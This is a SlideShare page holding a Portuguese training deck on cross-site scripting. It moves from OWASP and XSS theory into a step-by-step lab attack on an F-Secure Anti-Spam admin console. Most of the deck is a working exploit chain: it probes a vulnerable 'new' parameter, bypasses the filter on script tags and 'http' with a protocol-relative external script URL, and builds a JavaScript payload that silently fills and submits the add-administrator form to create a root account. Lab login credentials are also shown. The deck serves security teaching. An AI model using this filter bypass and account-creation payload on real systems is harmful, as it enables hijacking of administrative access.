SlideShare uma empresa Scribd logo
1 de 42
Baixar para ler offline
XSS Injec)on indo além do Alert(); 
By 
William 
Costa
William Costa 
Consultor 
em 
Segurança 
da 
Informação. 
CISSP, 
C|EH, 
E|CSA, 
CPT, 
CEPT, 
LPI.
TOP 10 OWASP 
• OWASP 
Top 
10 
– 
2013 
• A1 
– 
InjecJon 
• A2 
– 
Broken 
AuthenJcaJon 
and 
Session 
Management 
• A3 
– 
Cross-­‐Site 
Scrip0ng 
(XSS) 
• A4 
– 
Insecure 
Direct 
Object 
References 
• A5 
– 
Security 
MisconfiguraJon 
• A6 
– 
SensiJve 
Data 
Exposure 
• A7 
– 
Missing 
FuncJon 
Level 
Access 
Control 
• A8 
– 
Cross-­‐Site 
Request 
Forgery 
(CSRF) 
• A9 
– 
Using 
Known 
Vulnerable 
Components 
• A10 
– 
Unvalidated 
Redirects 
and 
Forwards
Cross-­‐Site Scrip)ng (XSS) 
• Cross-­‐Site 
ScripJng 
é 
composto 
por 
envio 
de 
scripts 
maliciosos 
em 
uma 
requisição 
de 
um 
usuário 
ao 
site 
legiJmo, 
sem 
ser 
validado 
corretamente 
pela 
aplicação, 
dessa 
forma 
o 
script 
será 
executado 
pelo 
browser 
da 
viJma.
Composição do XSS. 
Os XSS’s normalmente são divididos em 3 categorias 
Reflected 
XSS 
Stored 
XSS 
DOM 
Based 
XSS
Reflected XSS 
Quando o usuário envia uma requisição durante uma consulta em uma pagina 
de pesquisa ou em uma variável. 
Ex: hSp://www.vulneravel.com.br/no)cias/?)po=R"><script>alert("Reflected XSS")</script>
Stored XSS 
Isso ocorre quando o Script e salvo no servidor sendo assim carregado a cada 
vez que a pagina for acessada. 
Ex: Mensagem em um fórum, formulares de compras, entre outros 
Após adicionar o comentário qualquer pessoa que acesse o 
Forum recebem a tela
DOM XSS 
O DOM XSS é quando é inserido o payload dentro de uma variável u)lizada por 
um script 
Ex: Campos de interação em tempo real. 
<img 
src=search 
onerror=alert('DOM_XSS')>
Chega de teoria e vamos a Diversão.
Vamos Começar em nossa Oficina 
Vamos fazer nosso LAB em um F-­‐Secure que já foi corrigida a vulnerabilidade. 
J 
Topologia 
no 
LAB
Encontrando a Falha 
Alvo 
: 
F-­‐Secure 
• AnJSpam 
Logue 
na 
aplicação: 
hlps://10.0.3.133:10000 
User: 
admin 
Pass: 
mudar@123
Encontrando a Falha 
Após 
logar 
acesse 
Administrator 
> 
Administrators 
> 
Add
Encontrando a Falha 
Abra 
o 
Iframe 
em 
uma 
nova 
aba 
Clicando 
como 
botão 
direito
Encontrando a Falha 
Agora 
já 
temos 
em 
nosso 
browser 
a 
seguinte 
URL 
hlps://10.0.3.133:10000/admin?module=SysUser&method=user&new=1
Encontrando a Falha 
Vamos 
iniciar 
com 
o 
teste 
das 
variáveis 
Alteramos 
link 
de: 
hlps://10.0.3.133:10000/admin?module=SysUser&method=user&new=1 
Para: 
hlps://10.0.3.133:10000/admin?module=SysUser&method=user&new=aaaa 
e 
acessamos 
o 
link
Encontrando a Falha 
Vamos 
verificar 
oque 
aconteceu 
clicando 
com 
o 
botão 
direito 
na 
pagina 
acessada 
e 
analisando 
o 
seu 
código 
fonte. 
Damos 
um 
Find 
(CRTL+F) 
Como 
podemos 
ver 
a 
variável 
“new” 
é 
uJlizada 
como 
valor 
em 
um 
campo 
de 
Input
Encontrando a Falha 
Dessa 
forma 
vamos 
verificar 
se 
é 
possível 
inserir 
tags 
HTML 
neste 
campo 
Nossa 
URL 
fica 
desta 
forma: 
hlps://10.0.3.133:10000/admin?module=SysUser&method=user&new=aaaa<s> 
Analisando 
novamente 
vemos 
que 
não 
ocorreu 
o 
tratamento 
da 
nossa 
TAG 
J
Explorando a Falha 
Já 
temos 
a 
nossa 
falha 
vamos 
agora 
testar 
a 
injeção 
de 
javascript 
Nossa 
url 
ficará 
assim: 
hlps://10.0.3.133:10000/admin?module=SysUser&method=user&new=aaaa<script>alert(2);</script> 
Tivemos 
o 
acesso 
negado 
L
Explorando a Falha 
Vamos 
descobrir 
qual 
parte 
do 
script 
negou 
o 
acesso. 
Vamos 
acessar 
novamente 
a 
URL 
hlps://10.0.3.133:10000/admin 
se 
necessário 
logamos 
novamente 
hlps://10.0.3.133:10000/admin?module=SysUser&method=user&new=aaaa<script> 
E 
repeJmos 
o 
acesso 
Outro 
acesso 
negado 
L
Explorando a Falha 
Já 
desisJu 
????? 
Mais 
uma 
tentaJva 
hlps://10.0.3.133:10000/admin?module=SysUser&method=user&new=aaaa<script 
E 
repeJmos 
o 
acesso 
Acesso 
concedido 
J
Explorando a Falha 
Já 
sabemos 
que 
ele 
filtra 
a 
tag 
<script> 
quando 
fechada 
Faça 
o 
teste 
com 
as 
seguintes 
palavras, 
ficando 
assim: 
hlps://10.0.3.133:10000/admin?module=SysUser&method=user&new=aaaa.js 
Acesso 
PermiJdo 
hlps://10.0.3.133:10000/admin?module=SysUser&method=user&new=aaaa.src= 
Acesso 
PermiJdo 
hlps://10.0.3.133:10000/admin?module=SysUser&method=user&new=aaaahlps 
Acesso 
Negado 
403 
Forbidden 
hlps://10.0.3.133:10000/admin?module=SysUser&method=user&new=aaaa</script> 
Acesso 
Negado 
403 
Forbidden 
Sabemos 
agora 
que 
é 
realizado 
o 
Filtro 
da 
palavra 
HTTP 
em 
conjunto 
com 
o 
<script> 
e 
</script>
Explorando a Falha 
Recapitulando: 
• A 
falha 
se 
encontra 
na 
pagina 
de 
criação 
de 
novos 
usuários 
administradores 
• Na 
URL 
hlps://10.0.3.133:10000/admin?module=SysUser&method=user&new=1 
• Na 
variável 
“new” 
• Aplicação 
filtra 
os 
seguintes 
valores: 
<script> 
</script> 
hlps 
hlp
Explorando a Falha 
Bypass 
do 
filtro 
<script> 
Analisando 
o 
código 
do 
html 
vemos 
que 
a 
nossa 
variável 
é 
inserida 
no 
final 
da 
tag 
input 
<input 
type=hidden 
name=new 
value=aaaa> 
Portanto 
não 
precisamos 
uJlizar 
o 
sinal 
de 
“>” 
para 
fechar 
o 
script 
J 
Nossa 
url: 
hlps://10.0.3.133:10000/admin?module=SysUser&method=user&new=aaaa><script 
Fica 
assim 
o 
nosso 
código: 
<input 
type=hidden 
name=new 
value=aaaa><script>
Explorando a Falha 
Para 
o 
Bypass 
do 
filtro 
hlps, 
uJlizaremos 
o 
Protocol 
Rela0ve 
suprimimos 
o 
protocolo, 
deixaremos 
o 
browser 
uJlizar 
o 
da 
pagina 
principal 
J, 
ficando 
assim 
o 
nosso 
script 
final 
hlps://10.0.3.133:10000/admin?module=SysUser&method=user&new=aa><script 
src=//10.0.3.165/xss/e.js 
Para 
Bypass 
do 
filtro 
</script> 
não 
precisamos 
nos 
preocupar, 
pois 
ela 
é 
fornecida 
algumas 
linhas 
a 
frente 
J
Criando o Exploit 
Para 
o 
nosso 
primeiro 
teste 
vamos 
criar 
um 
simples 
arquivo 
de 
texto 
com 
o 
seguinte 
conteúdo: 
alert("F-­‐Secure 
XSS"); 
Salve 
o 
arquivo 
com 
nome_que_desejar.js
Criando o Exploit 
Acesso 
o 
Servidor 
via 
FTP 
para 
enviar 
o 
arquivo 
ou 
pode 
uJlizar 
o 
cliente 
disponível 
em 
hlp://10.200.210.8/tools 
FTP 
Servidor 
: 
10.200.210.8 
Usuário: 
xss 
Senha: 
xss 
Salve 
o 
arquivo 
na 
raiz 
mesmo 
do 
FTP.
Criando o Exploit 
Com 
o 
nosso 
arquivo 
já 
no 
nosso 
servidor 
podemos 
ver 
como 
fica 
nossa 
URL 
hlps://10.200.210.133:10000/admin?module=SysUser&method=user&new=1><script 
src=//10.200.210.8/xss/ 
nome_do_seu_xss.js 
Realizando 
o 
acesso 
temos 
o 
nosso 
alert(); 
Mas, 
o 
Jtulo 
não 
é 
além 
do 
alert 
?
Criando o Exploit 
Vamos 
deixar 
as 
coisas 
mais 
interessantes 
A 
nossa 
vulnerabilidade 
se 
encontra 
na 
pagina 
de 
criação 
de 
novos 
usuários. 
Então 
o 
nosso 
exploit 
deve 
preencher 
os 
campos: 
Administrator 
ID 
Password 
Re-­‐type 
Password 
Role 
E 
ainda 
clicar 
em 
ADD 
Muita 
coisa 
?
Criando o Exploit 
Vamos 
começar 
recriando 
o 
campo 
de 
Input 
que 
foi 
quebrado 
quando 
inserimos 
o 
nosso 
Exploit 
Antes 
do 
Exploit 
Após 
o 
Exploit
Criando o Exploit 
Isso 
ocorreu 
pois 
o 
nosso 
exploit 
e 
inserido 
antes 
do 
campo 
e 
com 
não 
podemos 
fechar 
a 
nossa 
tag 
</script> 
ela 
considera 
tudo 
um 
jascript 
até 
a 
próxima 
tag 
</script> 
no 
no 
código. 
Código 
enviado 
ao 
browser 
do 
usuário: 
<input 
type=hidden 
name=new 
value=1><script 
src=//10.200.210.8/xss/william.js> 
<input 
type=hidden 
name=old_password 
value=><tr><td 
class=ppsse}ngslabel 
width=200 
id='id_text' 
valign=top>Administrator 
ID</td><td><input 
type="text" 
id='id' 
name="id" 
class=formInput 
value="" 
style="width:200" 
ppstype="admin_id"></td></tr><script 
language="Javascript" 
type="text/javascript"> 
document.main_form.id.focus();</script>
Criando o Exploit 
• Para 
isso 
vamos 
usar 
o 
Method 
document.write(exp1,exp2,exp3,...) 
Ficando 
assim 
em 
nosso 
arquivo 
js. 
document.write("<input 
id='id' 
name='id' 
value='user.exploit'>"); 
Que 
vai 
criar 
um 
Input 
no 
código 
enviado 
ao 
usuário.
Criando o Exploit 
• Agora 
temos 
que 
preencher 
os 
campos 
de 
Password, 
Role 
e 
clicar 
em 
ADD 
J 
Para 
isso 
vamos 
uJlizar 
o 
Method 
document.getElementsByName() 
para 
localizar 
o 
campo 
pelo 
nome, 
[0] 
é 
para 
selecionar 
a 
primeira 
ocorrência 
e 
o 
value 
é 
para 
setar 
um 
valor 
ao 
campo 
que 
seria 
nossa 
password: 
document.getElementsByName('user_newpassword_1')[0].value 
= 
"admin@123"; 
document.getElementsByName('user_newpassword_2')[0].value 
= 
"admin@123"; 
document.getElementsByName('selectedrole')[0].value 
= 
"root"; 
As 
duas 
primeiras 
linhas 
são 
para 
a 
senha 
e 
a 
terceira 
é 
para 
setar 
o 
Role 
(perfil) 
como 
sendo 
root.
Criando o Exploit 
• Vamos 
testar 
o 
nosso 
exploit 
adicionando 
as 
linhas 
abaixo 
em 
nosso 
arquivo 
js 
e 
enviado 
ao 
servidor, 
ficando 
assim 
o 
arquivo 
document.write("<input 
id='id' 
name='id' 
value='user.exploit'>"); 
document.getElementsByName('user_newpassword_1')[0].value 
= 
"admin@123"; 
document.getElementsByName('user_newpassword_2')[0].value 
= 
"admin@123"; 
document.getElementsByName('selectedrole')[0].value 
= 
"root";
Criando o Exploit 
• Vamos 
realizar 
novamente 
o 
acesso: 
L 
Como 
podemos 
ver 
apenas 
o 
campo 
com 
o 
nome 
do 
usuário 
foi 
preenchido 
Vamos 
habilitar 
o 
debug 
do 
Browser 
e 
ver 
o 
que 
aconteceu.
Criando o Exploit 
• AJvamos 
o 
Debug 
do 
firefox 
em 
Tools 
> 
Web 
Developer 
> 
Web 
Console 
: 
Habilitando 
o 
JS 
temos: 
Vemos 
que 
na 
ulJma 
linha 
o 
nossos 
document.getElementsByName 
está 
com 
erro, 
sendo 
como 
não 
definido
Criando o Exploit 
• Vamos 
analisar 
o 
que 
ocorreu, 
o 
javascript 
por 
default 
é 
executado 
pelo 
browser 
assim 
que 
é 
chamado, 
o 
nosso 
script 
é 
inserido 
antes 
dos 
campos 
de 
password 
e 
role 
do 
código 
enviado 
ao 
usuário, 
como 
o 
JS 
é 
executado 
logo 
assim 
que 
referenciado, 
acaba 
por 
não 
ter 
os 
campos 
para 
o 
preenchimento. 
• Como 
resolver? 
Colocando 
o 
nosso 
código 
em 
uma 
função 
e 
setando 
um 
Jmeout 
J
Criando o Exploit 
• Ficando 
assim 
o 
nosso 
código 
no 
arquivo 
js: 
document.write("<input 
id='id' 
name='id' 
value='user.exploit'>"); 
funcJon 
espera() 
{ 
document.getElementsByName('user_newpassword_1')[0].value 
= 
"admin@123"; 
document.getElementsByName('user_newpassword_2')[0].value 
= 
"admin@123"; 
document.getElementsByName('selectedrole')[0].value 
= 
"root"; 
} 
setTimeout("espera("Jmeout")", 
1000);
Criando o Exploit 
• Enviamos 
o 
nosso 
novo 
arquivo 
ao 
servidor 
e 
acessamos 
novamente 
o 
link: 
• Sucesso 
J 
Para 
finalizar 
o 
nosso 
Exploit 
ainda 
falta 
enviar 
os 
dados.
Criando o Exploit 
• UJlizaremos 
o 
Method 
submit(), 
ficando 
assim 
o 
nosso 
script 
final: 
document.write("<input 
id='id' 
name='id' 
value='user.exploit'>"); 
funcJon 
espera() 
{ 
document.getElementsByName('user_newpassword_1')[0].value 
= 
"admin@123"; 
document.getElementsByName('user_newpassword_2')[0].value 
= 
"admin@123"; 
document.getElementsByName('selectedrole')[0].value 
= 
"root"; 
document.main_form.submit(); 
} 
setTimeout("espera("Jmeout")", 
1000); 
Não 
esqueça 
de 
salvar 
no 
arquivo 
js 
e 
enviar 
ao 
nosso 
servidor
Criando o Exploit 
• Enviamos 
o 
nosso 
novo 
arquivo 
ao 
servidor 
e 
acessamos 
novamente 
o 
link:
Conclusão. 
• Finalizamos 
a 
exploração 
com 
nosso 
exploit 
e 
o 
resultado 
foi 
a 
criação 
de 
um 
novo 
usuário 
de 
administração 
J.
<script>alert(String(/Perguntas?/).substr(1,10) ); </script> 
william.costa arroba gmail.com

Mais conteúdo relacionado

Mais procurados

Desenvolvimento de Software Seguro
Desenvolvimento de Software SeguroDesenvolvimento de Software Seguro
Desenvolvimento de Software SeguroAugusto Lüdtke
 
Bypass de token csrf na pratica secure brasil
Bypass de token csrf na pratica secure brasilBypass de token csrf na pratica secure brasil
Bypass de token csrf na pratica secure brasilWilliam Costa
 
[FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva...
[FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva...[FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva...
[FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva...Rafael Jaques
 
Seminário PHP Injection/ SQL Injection
Seminário PHP Injection/ SQL InjectionSeminário PHP Injection/ SQL Injection
Seminário PHP Injection/ SQL InjectionDavi Rodrigues
 
Tratando as vulnerabilidades do Top 10 do OWASP by Wagner Elias
Tratando as vulnerabilidades do Top 10 do OWASP by Wagner EliasTratando as vulnerabilidades do Top 10 do OWASP by Wagner Elias
Tratando as vulnerabilidades do Top 10 do OWASP by Wagner EliasMagno Logan
 
Invasão e correção em sites
Invasão e correção em sitesInvasão e correção em sites
Invasão e correção em sitesDaskonet Dasko
 
Quem tem medo do XSS ? MindThe Sec
Quem tem medo do XSS ? MindThe SecQuem tem medo do XSS ? MindThe Sec
Quem tem medo do XSS ? MindThe SecWilliam Costa
 
Vale Security Conference - 2011 - 6 - Thiago Bordini
Vale Security Conference - 2011 - 6 - Thiago BordiniVale Security Conference - 2011 - 6 - Thiago Bordini
Vale Security Conference - 2011 - 6 - Thiago BordiniVale Security Conference
 
Construindo uma Aplicação PHP à Prova de Balas
Construindo uma Aplicação PHP à Prova de BalasConstruindo uma Aplicação PHP à Prova de Balas
Construindo uma Aplicação PHP à Prova de BalasRafael Jaques
 
Configurando servidor web https no apache2 ed
Configurando servidor web https no apache2 edConfigurando servidor web https no apache2 ed
Configurando servidor web https no apache2 edCarlos Melo
 
Block Hosts: Bloqueando Ataques De ForçA Bruta (Brute Force) Em Ftp, Ssh E Ou...
Block Hosts: Bloqueando Ataques De ForçA Bruta (Brute Force) Em Ftp, Ssh E Ou...Block Hosts: Bloqueando Ataques De ForçA Bruta (Brute Force) Em Ftp, Ssh E Ou...
Block Hosts: Bloqueando Ataques De ForçA Bruta (Brute Force) Em Ftp, Ssh E Ou...Felipe Santos
 
Autenticacao em APIs com SSL
Autenticacao em APIs com SSLAutenticacao em APIs com SSL
Autenticacao em APIs com SSLMarcelo Milhomem
 
uMov.me API - Do básico ao avançado
uMov.me API - Do básico ao avançadouMov.me API - Do básico ao avançado
uMov.me API - Do básico ao avançadoEduardo Bohrer
 

Mais procurados (20)

Sql injection
Sql injectionSql injection
Sql injection
 
Desenvolvimento de Software Seguro
Desenvolvimento de Software SeguroDesenvolvimento de Software Seguro
Desenvolvimento de Software Seguro
 
Bypass de token csrf na pratica secure brasil
Bypass de token csrf na pratica secure brasilBypass de token csrf na pratica secure brasil
Bypass de token csrf na pratica secure brasil
 
[FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva...
[FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva...[FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva...
[FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva...
 
Seminário PHP Injection/ SQL Injection
Seminário PHP Injection/ SQL InjectionSeminário PHP Injection/ SQL Injection
Seminário PHP Injection/ SQL Injection
 
Aula 8 - SQL Injection
Aula 8 - SQL InjectionAula 8 - SQL Injection
Aula 8 - SQL Injection
 
Tratando as vulnerabilidades do Top 10 do OWASP by Wagner Elias
Tratando as vulnerabilidades do Top 10 do OWASP by Wagner EliasTratando as vulnerabilidades do Top 10 do OWASP by Wagner Elias
Tratando as vulnerabilidades do Top 10 do OWASP by Wagner Elias
 
Hello SAFE World!!!
Hello SAFE World!!!Hello SAFE World!!!
Hello SAFE World!!!
 
Invasão e correção em sites
Invasão e correção em sitesInvasão e correção em sites
Invasão e correção em sites
 
Quem tem medo do XSS ? MindThe Sec
Quem tem medo do XSS ? MindThe SecQuem tem medo do XSS ? MindThe Sec
Quem tem medo do XSS ? MindThe Sec
 
Vale Security Conference - 2011 - 6 - Thiago Bordini
Vale Security Conference - 2011 - 6 - Thiago BordiniVale Security Conference - 2011 - 6 - Thiago Bordini
Vale Security Conference - 2011 - 6 - Thiago Bordini
 
Tratando as vulnerabilidades do Top 10 com php
Tratando as vulnerabilidades do Top 10 com phpTratando as vulnerabilidades do Top 10 com php
Tratando as vulnerabilidades do Top 10 com php
 
Construindo uma Aplicação PHP à Prova de Balas
Construindo uma Aplicação PHP à Prova de BalasConstruindo uma Aplicação PHP à Prova de Balas
Construindo uma Aplicação PHP à Prova de Balas
 
Xss
XssXss
Xss
 
Configurando servidor web https no apache2 ed
Configurando servidor web https no apache2 edConfigurando servidor web https no apache2 ed
Configurando servidor web https no apache2 ed
 
Block Hosts: Bloqueando Ataques De ForçA Bruta (Brute Force) Em Ftp, Ssh E Ou...
Block Hosts: Bloqueando Ataques De ForçA Bruta (Brute Force) Em Ftp, Ssh E Ou...Block Hosts: Bloqueando Ataques De ForçA Bruta (Brute Force) Em Ftp, Ssh E Ou...
Block Hosts: Bloqueando Ataques De ForçA Bruta (Brute Force) Em Ftp, Ssh E Ou...
 
PHP FrameWARks - FISL
PHP FrameWARks - FISLPHP FrameWARks - FISL
PHP FrameWARks - FISL
 
Autenticacao em APIs com SSL
Autenticacao em APIs com SSLAutenticacao em APIs com SSL
Autenticacao em APIs com SSL
 
uMov.me API - Do básico ao avançado
uMov.me API - Do básico ao avançadouMov.me API - Do básico ao avançado
uMov.me API - Do básico ao avançado
 
Web app flaws
Web app flawsWeb app flaws
Web app flaws
 

Destaque

Apresentação exploit
Apresentação exploitApresentação exploit
Apresentação exploitDenis Vieira
 
Fuzzing e segurança
Fuzzing e segurançaFuzzing e segurança
Fuzzing e segurançaDanilo Vaz
 
Falsificação de solicitação entre sites csrf.html
Falsificação de solicitação entre sites   csrf.htmlFalsificação de solicitação entre sites   csrf.html
Falsificação de solicitação entre sites csrf.htmlRafael Tavares
 
Hacking em consoles webs de security appliances, h2hc-rev-2
Hacking em consoles webs de security appliances, h2hc-rev-2Hacking em consoles webs de security appliances, h2hc-rev-2
Hacking em consoles webs de security appliances, h2hc-rev-2William Costa
 

Destaque (6)

Exploits
ExploitsExploits
Exploits
 
Apresentação exploit
Apresentação exploitApresentação exploit
Apresentação exploit
 
Fuzzing e segurança
Fuzzing e segurançaFuzzing e segurança
Fuzzing e segurança
 
Falsificação de solicitação entre sites csrf.html
Falsificação de solicitação entre sites   csrf.htmlFalsificação de solicitação entre sites   csrf.html
Falsificação de solicitação entre sites csrf.html
 
Hacking em consoles webs de security appliances, h2hc-rev-2
Hacking em consoles webs de security appliances, h2hc-rev-2Hacking em consoles webs de security appliances, h2hc-rev-2
Hacking em consoles webs de security appliances, h2hc-rev-2
 
Vivendo de hacking
Vivendo de hackingVivendo de hacking
Vivendo de hacking
 

Semelhante a Xss injection indo alem do alert.v 0.4

Desenvolvendo sistemas seguros com PHP
Desenvolvendo sistemas seguros com PHPDesenvolvendo sistemas seguros com PHP
Desenvolvendo sistemas seguros com PHPFlavio Souza
 
Segurança em Aplicativos Web
Segurança em Aplicativos WebSegurança em Aplicativos Web
Segurança em Aplicativos WebSergio Henrique
 
CJR Apresenta: OWASP TOP10
CJR Apresenta: OWASP TOP10CJR Apresenta: OWASP TOP10
CJR Apresenta: OWASP TOP10CJR, UnB
 
Slide 04 adicionando usuários e conhecendo o auto load
Slide 04   adicionando usuários e conhecendo o auto loadSlide 04   adicionando usuários e conhecendo o auto load
Slide 04 adicionando usuários e conhecendo o auto loadRaniere de Lima
 
Aula 1 - Testando a Segurança de Sua Aplicação Web
Aula 1 - Testando a Segurança de Sua Aplicação WebAula 1 - Testando a Segurança de Sua Aplicação Web
Aula 1 - Testando a Segurança de Sua Aplicação WebMatheus Fidelis
 
Palestra criando aplicações seguras com php (2)
Palestra  criando aplicações seguras com php (2)Palestra  criando aplicações seguras com php (2)
Palestra criando aplicações seguras com php (2)Leandro Lugaresi
 
PHP like a super hero
PHP like a super heroPHP like a super hero
PHP like a super heroElton Minetto
 
FIEB - WebVibe - Desenvolvimento Seguro de Aplicações WEB
FIEB - WebVibe - Desenvolvimento Seguro de Aplicações WEBFIEB - WebVibe - Desenvolvimento Seguro de Aplicações WEB
FIEB - WebVibe - Desenvolvimento Seguro de Aplicações WEBErick Belluci Tedeschi
 
Segurança & Ruby on Rails
Segurança & Ruby on RailsSegurança & Ruby on Rails
Segurança & Ruby on RailsJulio Monteiro
 
Slide 01 introdução ao php e ao code igniter
Slide 01   introdução ao php e ao code igniterSlide 01   introdução ao php e ao code igniter
Slide 01 introdução ao php e ao code igniterRaniere de Lima
 

Semelhante a Xss injection indo alem do alert.v 0.4 (20)

Desenvolvendo sistemas seguros com PHP
Desenvolvendo sistemas seguros com PHPDesenvolvendo sistemas seguros com PHP
Desenvolvendo sistemas seguros com PHP
 
Segurança em Aplicativos Web
Segurança em Aplicativos WebSegurança em Aplicativos Web
Segurança em Aplicativos Web
 
Teste de segurança do lado servidor - Nível 1
Teste de segurança do lado servidor - Nível 1Teste de segurança do lado servidor - Nível 1
Teste de segurança do lado servidor - Nível 1
 
Invasao_e_Correcao_em_Sites.pdf
Invasao_e_Correcao_em_Sites.pdfInvasao_e_Correcao_em_Sites.pdf
Invasao_e_Correcao_em_Sites.pdf
 
Testes de segurança em aplicações web
Testes de segurança em aplicações webTestes de segurança em aplicações web
Testes de segurança em aplicações web
 
Desenvolvimento seguro - WorkSec 2019
Desenvolvimento seguro - WorkSec 2019Desenvolvimento seguro - WorkSec 2019
Desenvolvimento seguro - WorkSec 2019
 
Segurança e Controle de errros
Segurança e Controle de errrosSegurança e Controle de errros
Segurança e Controle de errros
 
CJR Apresenta: OWASP TOP10
CJR Apresenta: OWASP TOP10CJR Apresenta: OWASP TOP10
CJR Apresenta: OWASP TOP10
 
Segurança de Aplicações WEB e OpenSource
Segurança de Aplicações WEB e OpenSourceSegurança de Aplicações WEB e OpenSource
Segurança de Aplicações WEB e OpenSource
 
Slide 04 adicionando usuários e conhecendo o auto load
Slide 04   adicionando usuários e conhecendo o auto loadSlide 04   adicionando usuários e conhecendo o auto load
Slide 04 adicionando usuários e conhecendo o auto load
 
Segurança em php
Segurança em phpSegurança em php
Segurança em php
 
Desafio Rest API
Desafio Rest APIDesafio Rest API
Desafio Rest API
 
Aula 1 - Testando a Segurança de Sua Aplicação Web
Aula 1 - Testando a Segurança de Sua Aplicação WebAula 1 - Testando a Segurança de Sua Aplicação Web
Aula 1 - Testando a Segurança de Sua Aplicação Web
 
Palestra criando aplicações seguras com php (2)
Palestra  criando aplicações seguras com php (2)Palestra  criando aplicações seguras com php (2)
Palestra criando aplicações seguras com php (2)
 
PHP like a super hero
PHP like a super heroPHP like a super hero
PHP like a super hero
 
FIEB - WebVibe - Desenvolvimento Seguro de Aplicações WEB
FIEB - WebVibe - Desenvolvimento Seguro de Aplicações WEBFIEB - WebVibe - Desenvolvimento Seguro de Aplicações WEB
FIEB - WebVibe - Desenvolvimento Seguro de Aplicações WEB
 
Php12
Php12Php12
Php12
 
Segurança & Ruby on Rails
Segurança & Ruby on RailsSegurança & Ruby on Rails
Segurança & Ruby on Rails
 
Slide 01 introdução ao php e ao code igniter
Slide 01   introdução ao php e ao code igniterSlide 01   introdução ao php e ao code igniter
Slide 01 introdução ao php e ao code igniter
 
Daw slide 06
Daw slide 06Daw slide 06
Daw slide 06
 

Xss injection indo alem do alert.v 0.4

  • 1. XSS Injec)on indo além do Alert(); By William Costa
  • 2. William Costa Consultor em Segurança da Informação. CISSP, C|EH, E|CSA, CPT, CEPT, LPI.
  • 3. TOP 10 OWASP • OWASP Top 10 – 2013 • A1 – InjecJon • A2 – Broken AuthenJcaJon and Session Management • A3 – Cross-­‐Site Scrip0ng (XSS) • A4 – Insecure Direct Object References • A5 – Security MisconfiguraJon • A6 – SensiJve Data Exposure • A7 – Missing FuncJon Level Access Control • A8 – Cross-­‐Site Request Forgery (CSRF) • A9 – Using Known Vulnerable Components • A10 – Unvalidated Redirects and Forwards
  • 4. Cross-­‐Site Scrip)ng (XSS) • Cross-­‐Site ScripJng é composto por envio de scripts maliciosos em uma requisição de um usuário ao site legiJmo, sem ser validado corretamente pela aplicação, dessa forma o script será executado pelo browser da viJma.
  • 5. Composição do XSS. Os XSS’s normalmente são divididos em 3 categorias Reflected XSS Stored XSS DOM Based XSS
  • 6. Reflected XSS Quando o usuário envia uma requisição durante uma consulta em uma pagina de pesquisa ou em uma variável. Ex: hSp://www.vulneravel.com.br/no)cias/?)po=R"><script>alert("Reflected XSS")</script>
  • 7. Stored XSS Isso ocorre quando o Script e salvo no servidor sendo assim carregado a cada vez que a pagina for acessada. Ex: Mensagem em um fórum, formulares de compras, entre outros Após adicionar o comentário qualquer pessoa que acesse o Forum recebem a tela
  • 8. DOM XSS O DOM XSS é quando é inserido o payload dentro de uma variável u)lizada por um script Ex: Campos de interação em tempo real. <img src=search onerror=alert('DOM_XSS')>
  • 9. Chega de teoria e vamos a Diversão.
  • 10. Vamos Começar em nossa Oficina Vamos fazer nosso LAB em um F-­‐Secure que já foi corrigida a vulnerabilidade. J Topologia no LAB
  • 11. Encontrando a Falha Alvo : F-­‐Secure • AnJSpam Logue na aplicação: hlps://10.0.3.133:10000 User: admin Pass: mudar@123
  • 12. Encontrando a Falha Após logar acesse Administrator > Administrators > Add
  • 13. Encontrando a Falha Abra o Iframe em uma nova aba Clicando como botão direito
  • 14. Encontrando a Falha Agora já temos em nosso browser a seguinte URL hlps://10.0.3.133:10000/admin?module=SysUser&method=user&new=1
  • 15. Encontrando a Falha Vamos iniciar com o teste das variáveis Alteramos link de: hlps://10.0.3.133:10000/admin?module=SysUser&method=user&new=1 Para: hlps://10.0.3.133:10000/admin?module=SysUser&method=user&new=aaaa e acessamos o link
  • 16. Encontrando a Falha Vamos verificar oque aconteceu clicando com o botão direito na pagina acessada e analisando o seu código fonte. Damos um Find (CRTL+F) Como podemos ver a variável “new” é uJlizada como valor em um campo de Input
  • 17. Encontrando a Falha Dessa forma vamos verificar se é possível inserir tags HTML neste campo Nossa URL fica desta forma: hlps://10.0.3.133:10000/admin?module=SysUser&method=user&new=aaaa<s> Analisando novamente vemos que não ocorreu o tratamento da nossa TAG J
  • 18. Explorando a Falha Já temos a nossa falha vamos agora testar a injeção de javascript Nossa url ficará assim: hlps://10.0.3.133:10000/admin?module=SysUser&method=user&new=aaaa<script>alert(2);</script> Tivemos o acesso negado L
  • 19. Explorando a Falha Vamos descobrir qual parte do script negou o acesso. Vamos acessar novamente a URL hlps://10.0.3.133:10000/admin se necessário logamos novamente hlps://10.0.3.133:10000/admin?module=SysUser&method=user&new=aaaa<script> E repeJmos o acesso Outro acesso negado L
  • 20. Explorando a Falha Já desisJu ????? Mais uma tentaJva hlps://10.0.3.133:10000/admin?module=SysUser&method=user&new=aaaa<script E repeJmos o acesso Acesso concedido J
  • 21. Explorando a Falha Já sabemos que ele filtra a tag <script> quando fechada Faça o teste com as seguintes palavras, ficando assim: hlps://10.0.3.133:10000/admin?module=SysUser&method=user&new=aaaa.js Acesso PermiJdo hlps://10.0.3.133:10000/admin?module=SysUser&method=user&new=aaaa.src= Acesso PermiJdo hlps://10.0.3.133:10000/admin?module=SysUser&method=user&new=aaaahlps Acesso Negado 403 Forbidden hlps://10.0.3.133:10000/admin?module=SysUser&method=user&new=aaaa</script> Acesso Negado 403 Forbidden Sabemos agora que é realizado o Filtro da palavra HTTP em conjunto com o <script> e </script>
  • 22. Explorando a Falha Recapitulando: • A falha se encontra na pagina de criação de novos usuários administradores • Na URL hlps://10.0.3.133:10000/admin?module=SysUser&method=user&new=1 • Na variável “new” • Aplicação filtra os seguintes valores: <script> </script> hlps hlp
